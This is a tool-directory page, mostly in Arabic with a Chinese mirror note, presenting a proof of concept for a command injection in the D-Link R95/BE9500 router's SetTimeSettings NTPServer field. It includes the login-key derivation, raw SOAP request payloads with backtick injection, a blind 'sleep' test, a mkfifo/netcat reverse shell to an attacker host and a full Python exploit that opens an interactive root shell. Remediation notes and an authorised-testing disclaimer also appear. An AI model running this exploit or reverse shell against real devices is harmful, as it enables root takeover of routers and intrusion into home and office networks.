Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/hackspeak/cve-2026-93958
أمان الأنظمة المدمجةأمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةأمان الأجهزة وإنترنت الأشياءالأوراق والأبحاث
GitHub
15منذ يوم واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
hackspeak/cve-2026-93958

CVE-2026-93958

حقن أوامر موثّق لإثبات المفهوم (PoC) لـ D-Link R95/BE9500 DHMAPI SetTimeSettings، يحقق تنفيذ أوامر عن بُعد (RCE) بصلاحيات الجذر عبر حقن backtick في NTPServer، مع سكربت استغلال كامل.

عرض المستودع

D-Link R95 BE9500 راوتر ذكي Wi-Fi 7

  • البائع:D-Link
  • المنتج:R95
  • طراز المنتج:BE9500
  • إصدار البرنامج الثابت:1.01B06
  • نوع الثغرة:حقن أوامر بعد المصادقة

الوصف

يحتوي راوتر D-Link R95 BE9500 الذكي Wi-Fi 7 (إصدار البرنامج الثابت BE9500_1.00.16) على ثغرة حقن أوامر في واجهة DHMAPI (SOAP عبر HTTPS) عند معالجة طلبات SetTimeSettings. يتم تخزين الحقل <NTPServer> الذي يتحكم فيه المستخدم في قاعدة بيانات الإعدادات دون أي تعقيم أو تحقق من محارف shell الوصفية. لاحقًا، عند مزامنة الإعدادات إلى UCI (ntpclient.@ntpserver[0].hostname)، تقوم خدمة الواجهة الخلفية المصابة ببناء وتنفيذ أمر shell محاط بعلامات اقتباس مزدوجة عبر استدعاء شبيه بـ system(). من خلال حقن علامات backtick (```) في قيمة <NTPServer>، يمكن للمهاجم تحقيق استبدال الأوامر — حيث يقيّم shell المحتوى المحقون قبل تنفيذ الأمر المُدمج، مما يسمح بتنفيذ أوامر عشوائية بصلاحيات root (uid=0).

يتطلب الهجوم جلسة إدارة ويب صالحة (sid) يتم الحصول عليها عبر وصول مُصادق عليه (تم اختباره بحساب المسؤول Admin). تتفاقم هذه الثغرة بشكل أكبر بسبب بيانات الاعتماد الافتراضية الضعيفة للجهاز أو مشكلات تجاوز المصادقة المحتملة، مما يوسع بشكل كبير سطح الهجوم في العالم الحقيقي.

التأثير

يمكن لمهاجم مُصادق عليه تنفيذ أوامر عشوائية بصلاحيات root، مما يؤدي إلى اختراق كامل للجهاز — بما في ذلك قراءة الملفات الحساسة (مثل /etc/rg_config/admin المشفّر، وتفريغ نسخ احتياطية كاملة للإعدادات)، وتثبيت أبواب خلفية دائمة، وإنشاء reverse shells، والتحرك داخل الشبكة الداخلية لشن هجمات جانبية.

تفاصيل الثغرة

1. المكوّن المتأثر والسبب الجذري

تقع الثغرة في الملف التنفيذي للواجهة الخلفية لإدارة الويب /bin/ssi (يعمل بصلاحيات root)، والذي ينفذ واجهة DHMAPI SOAP.

مصدر التلوث — معالج SetTimeSettings (الدالة عند الإزاحة 0x6bd84 في ssi، البرنامج الثابت 1.01B06):

  • يستخرج الحقل <NTPServer> من طلب SOAP إلى مخزن مؤقت على المكدس، بحد أقصى للطول 0x3f (63 بايت) — وهذا حد لحجم المخزن المؤقت، وليس فحصًا أمنيًا.
  • يخزّن القيمة كما هي في مفتاح الإعدادات الداخلي time.value.NTPServer عبر setter داخلي — لا يتم إجراء أي تصفية أو تهريب لمحارف shell الوصفية في أي مرحلة.

مصب التلوث — مزامنة الإعدادات إلى UCI. يقوم ssi بمزامنة قيم الإعدادات عبر دمجها في سلاسل أوامر shell يتم تنفيذها عبر استدعاءات شبيهة بـ system(). تشمل سلاسل التنسيق المضمّنة الموجودة في الملف التنفيذي:

root@kitploit:~
uci set %s="%s" > /dev/null

نظرًا لأن القيمة محاطة بـ علامات اقتباس مزدوجة، يقوم shell بإجراء استبدال الأوامر على علامات backtick (`) / $() داخل القيمة قبل تشغيل الأمر المُدمج. وبما أن ssi يعمل بصلاحيات root، يُنفَّذ الأمر المحقون بصلاحيات root.

تؤكد أدلة التوقيت أن التقييم يحدث بشكل متزامن داخل مسار معالجة الطلب: حقن `sleep 10` يؤخر استجابة HTTP بنحو 10 ثوانٍ. كما تستمر القيمة المسمومة في UCI (ntpclient.@ntpserver[0].hostname) ويستهلكها لاحقًا /bin/start_ntpclient.sh بدون علامات اقتباس (ntpclient -s -h $HOSTNAME)، وهي ثغرة تقوية ثانوية.

قيود الاستغلال (تم التحقق منها):

2. شرط المصادقة المسبق (مخطط API-AUTH)

يجب أن تحمل جميع طلبات DHMAPI ما يلي:

  • Cookie: uid=<session cookie> (من تسجيل الدخول)
  • API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>
  • ترويسات API-ACTION / SOAPAction المطابقة لإجراء SOAP، بالإضافة إلى User-Agent وReferer (فقدان UA/Referer يؤدي إلى HTTP 400/500)
  • ts هو طابع زمني بالمللي ثانية؛ الجهاز لا يتحقق من الحداثة، لذا يمكن إعادة استخدام قيمة ثابتة

اشتقاق privkey:

  1. Login / Action=request (موقّع بسلسلة المفتاح الثابت withoutloginkey) يعيد Challenge وCookie وPublicKey وSaltHash
  2. e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (أو كلمة المرور العادية عند غياب SaltHash)
  3. privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))
  4. LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))
  5. Login / Action=login مع ما سبق يعيد <LoginResult>success</LoginResult>؛ تستخدم الطلبات اللاحقة Cookie: uid=<step-1 Cookie> موقّعة بـ

3. إثبات المفهوم

الخطوة 1 — طلب تسجيل الدخول (الحصول على Challenge/Cookie/PublicKey/SaltHash)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

image-20260823160929456

الخطوة 2 — تسجيل الدخول (إنشاء الجلسة)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

المتوقع: <LoginResult>success</LoginResult>.

image-20260823160951351

الخطوة 3 — حقن الأوامر (كتابة الإخراج إلى جذر الويب)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

image-20260823161119324

الخطوة 4 — استرجاع إخراج الأمر

root@kitploit:~
GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close

نص الاستجابة الملاحظ:

root@kitploit:~
uid=0(root) gid=0(root)

image-20260823161234632

تحقق بديل — حقن أعمى قائم على الوقت

root@kitploit:~
<NTPServer>`sleep 10`</NTPServer>

تتأخر استجابة HTTP بنحو 10 ثوانٍ؛ بينما يعود اسم خادم NTP سليم فورًا.

استغلال كامل — reverse shell

يتم تجاوز حد الحقل البالغ 63 بايت عبر كتابة سكربت في أجزاء base64:

  1. طلبات SetTimeSettings متكررة، كل منها يضيف جزءًا واحدًا: `echo -n <b64-fragment> >> /tmp/x`
  2. فك الترميز: `base64 -d /tmp/x > /tmp/rs.rs`
  3. محتوى /tmp/rs.rs (لاحظ المسافات الإلزامية حول الأنابيب لـ busybox ash): rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f
  4. التشغيل: `sh /tmp/rs.rs`

النتيجة: يتم استقبال shell تفاعلي بصلاحيات root (~ #، BusyBox ash) على مستمع المهاجم.

EXP:

root@kitploit:~
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py            interactive shell (commands run as root on the device)
#        python r95_exp.py "id"       run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests

HOST, PORT = "192.168.2.15", 18443             # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000"                            # timestamp freshness is not validated by the device
OUT = "/www/e"                                  # command output dropped into the web root

s = requests.Session(); s.verify = False
privkey = cookie = None

def auth(key, action):
    return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS

def post(action, inner, key=None, ck=None):
    body = ('<?xml version="1.0" encoding="utf-8"?>'
            '<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
            'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
            'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
            '<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
    h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
         "Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
         "Referer": BASE + "/info/Login.html"}
    if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
    return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)

def login():
    global privkey, cookie
    r = post("Login", "<Action>request</Action><Username>%s</Username>"
             "<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
    g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
    challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
    if not challenge:
        print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
    e = PASSWORD
    if salthash:
        e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
                             salthash.encode(), 5000, dklen=32)).decode()
    privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
              "<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
    if "success" not in r2.text.lower():
        print("[!] login failed:", r2.text[:200]); sys.exit(1)
    print("[+] login OK, cookie=%s" % cookie)

def inject(cmd):
    """Execute one shell command via the NTPServer backtick injection (no output channel)"""
    if "&" in cmd:
        print("[!] command must not contain '&'"); return False
    r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    if r.status_code == 401:
        print("[*] session expired, re-authenticating..."); login()
        r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    return r.status_code == 200

def run(cmd):
    """Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
    cmd = cmd.strip()
    if not cmd: return
    direct = "%s>%s" % (cmd, OUT)
    if len(direct) <= 54:
        ok = inject(direct)
    else:
        b64 = base64.b64encode(cmd.encode()).decode()
        inject("rm -f /tmp/x")
        for i in range(0, len(b64), 40):
            if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
                print("[!] fragment injection failed"); return
        inject("base64 -d /tmp/x>/tmp/x.sh")
        ok = inject("sh /tmp/x.sh>%s" % OUT)
    if not ok:
        print("[!] injection request failed"); return
    time.sleep(1)
    r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
              "Referer": BASE + "/info/Login.html"}, timeout=15)
    out = r.text.rstrip("\n")
    print(out if out else "(no output)")

if __name__ == "__main__":
    login()
    if len(sys.argv) > 1:
        run(" ".join(sys.argv[1:])); sys.exit(0)
    print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
    while True:
        try: c = input("r95# ")
        except (EOFError, KeyboardInterrupt): break
        if c.strip() in ("exit", "quit"): break
        run(c)

image-20260823161917864

4. ملخص السبب الجذري

  1. يخزّن ssi الحقل NTPServer (والحقول الشقيقة في نفس المعالج) في قاعدة بيانات الإعدادات دون أي تعقيم؛
  2. تستخدم مزامنة الإعدادات دمج سلاسل shell بأسلوب system() مع القيمة محاطة بعلامات اقتباس مزدوجة، مما يجعل shell يقيّم علامات backtick / $() في القيمة؛
  3. يعمل ssi بصلاحيات root، لذا تُنفَّذ الأوامر المحقونة بأعلى صلاحية.

ينتج نمط الكود نفسه ما لا يقل عن 7 نقاط حقن أوامر إضافية بعد المصادقة في هذا البرنامج الثابت (TZLocation، DeviceName، DDNS Hostname/Username، العميل NickName، وحقن من الدرجة الثانية عبر SetNetworkSettings)، وكلها تم التحقق منها بتنفيذ uid=0(root).

5. المعالجة

  • تطبيق تحقق صارم بقائمة بيضاء ([A-Za-z0-9.-]) على حقول الإدخال من نوع اسم المضيف قبل التخزين؛
  • استبدال دمج سلاسل system() بواجهة libuci API (المرتبطة بالفعل في ssi) أو استدعاءات من عائلة exec* بدون shell؛
  • وضع علامات اقتباس حول المتغير $HOSTNAME في /bin/start_ntpclient.sh؛
  • تشغيل خدمة إدارة الويب بصلاحيات مخفّضة؛
  • تدقيق وإصلاح نقاط الحقن الشقيقة المذكورة أعلاه بشكل موحّد.

分发镜像说明(中文)

本仓库为 CVE-2026-93958(D-Link R95 / BE9500 DHMAPI 命令注入) 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 D-Link R95 BE9500.md)。内容由上游公开 PoC 仓库镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。

漏洞简述 / Vulnerability Summary

  • CVE-2026-93958 / D-Link R95(BE9500)Wi-Fi 7 智能路由器
  • 受影响固件:BE9500_1.00.16 / 1.01B06 系列
  • 类型:OS 命令注入(CWE-77 / CWE-78)→ root 权限任意命令执行
  • CVSS 3.1:9.1(Critical);CVSS 4.0:8.5;CVSS 2.0:8.3
  • 攻击面:DHMAPI(SOAP over HTTPS)接口 SetTimeSettings 请求的 <NTPServer> 字段
  • 前置条件:需一个有效的 Web 管理会话(认证后)
  • 影响组件:以 root 运行的 Web 管理后端 /bin/ssi

核心原理:/bin/ssi 的 SetTimeSettings 处理函数(偏移 0x6bd84)把 <NTPServer> 字段(长度上限 0x3f=63 字节,但无任何 shell 元字符过滤)原样存入配置库;配置同步到 UCI 时,ssi 把值拼进 uci set %s="%s" > /dev/null 这类 shell 字符串并用 system() 执行——值被双引号包裹,shell 会对反引号 / $() 做命令替换,而 ssi 以 root 运行,故注入命令满权限执行。

目录结构 / Layout

root@kitploit:~
D-Link R95 BE9500.md   —— 上游完整技术分析(含 4 步复现、认证机制、EXP 源码、加固建议)
r95_exp.py             —— 从上游报告中提取的完整 Python EXP(requests 实现)
image-*.png            —— 上游报告附图(5 张)

环境与用法 / Requirements & Usage

  • 目标:未修复固件的 D-Link R95 / BE9500(实验室设备);需有效管理会话(管理员账号)
  • 依赖:Python 3 + requests
  • 用法:
root@kitploit:~
python r95_exp.py            # 交互式 root shell(命令在设备上以 root 执行)
python r95_exp.py "id"       # 执行单条命令

⚠️ 注意:注入字段长度上限约 63 字节,且命令不能含 &;EXP 对 ≤54 字节命令直接注入,更长的命令自动切 base64 分片写入 /tmp/x 再解码执行,输出写入 Web 根目录 /www/e 后经 HTTP 取回。

免责声明 / Disclaimer

本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限在设备上执行任意命令,请在可销毁的实验室环境中测试。

归属与许可 / Attribution & License

  • 上游 PoC 报告与 EXP 作者:FoundTL(公开漏洞研究仓库 FoundTL/D-Link-R95-BE9500)。
  • 分发仓库采用 MIT License(见 LICENSE)。

参考链接 / References

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-93958
  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-93958
  • D-Link 官网:https://www.dlink.com/
تنزيل الأداة
القيدالنتيجة المتحقق منها
طول الحقل≤ 63 بايت مقبول؛ 60 بايت مقبول، 80 بايت مرفوض (HTTP 400)
محرف &يجب ألا يظهر (يكسر سطر الأمر المُدمج)
صيغة الحقنتم التحقق من علامات backtick `cmd`؛ يُتوقع أن يعمل $(cmd) بالمثل
سياق التنفيذuid=0(root) gid=0(root)
قناة الإخراجلا يوجد echo مباشر؛ إعادة التوجيه إلى جذر الويب (> /www/<file>) والاسترجاع عبر HTTP GET
privkey